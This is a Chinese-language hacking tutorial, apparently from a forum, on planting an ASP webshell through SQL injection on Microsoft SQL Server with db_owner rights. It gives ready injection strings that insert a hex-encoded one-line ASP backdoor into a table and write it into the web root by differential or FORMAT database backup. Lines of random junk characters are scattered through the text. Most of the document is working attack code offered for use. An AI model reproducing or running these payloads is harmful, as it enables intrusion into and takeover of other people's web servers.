DB_OWNER权限得到webshell的改进办法

admin

DB_OWNER权限得到webshell的两点改进:
5 b$ r" ]6 p. g; X/ R
/ o' g$ [/ g: q8 e减少备份文件大小，得到可执行的webshell成功率提高不少
2 @, U. [) \; d+ u) h4 u一利用差异备份
: Y, H! o" L* N; _2 f9 p1 K加一个参数WITH DIFFERENTIAL

1
( j4 U2 V# `, B7 a& y$ t2
  j5 J$ C: l+ y9 J+ F4 m' P3
4
" H1 W4 x/ {5 g- b0 L) [6 C0 U declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
- \% k, C7 x, q9 O$ Y# Lcreate table [dbo].[xiaolu] ([cmd] [image]);
4 h3 P6 G2 W. d" D" {insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL

$ e0 o/ G; {; g" v( z+ p5 m二利用完全FORMAT
8 s4 x% n7 V3 C0 G7 c7 n加一个参数WITH FROMAT
有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以

2 [: N1 J6 r2 R. i+ O; w# L% O1
% ]3 s) @3 d8 B8 [6 M) }2
& `4 G9 \$ y5 o0 i; ?" g5 L3
4
5 @! j" ?% ^1 S. A! m declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
" C8 N4 `* r( z) [( F: Ocreate table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT

- o1 x6 r0 Q8 ~7 x总的来说就是那么简单几句,下面以备份数据库model为例子
1

1
# e" Q: Z! S, }' |. ~ id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')

% j; @) B* A( W+ d- f% t3 ?7 N2

' l+ y3 E9 `& F1
2 }  p) Y7 P4 o! w9 E, x/ n3 I id=1;backup database model to disk='你的路径‘ with differential,format;--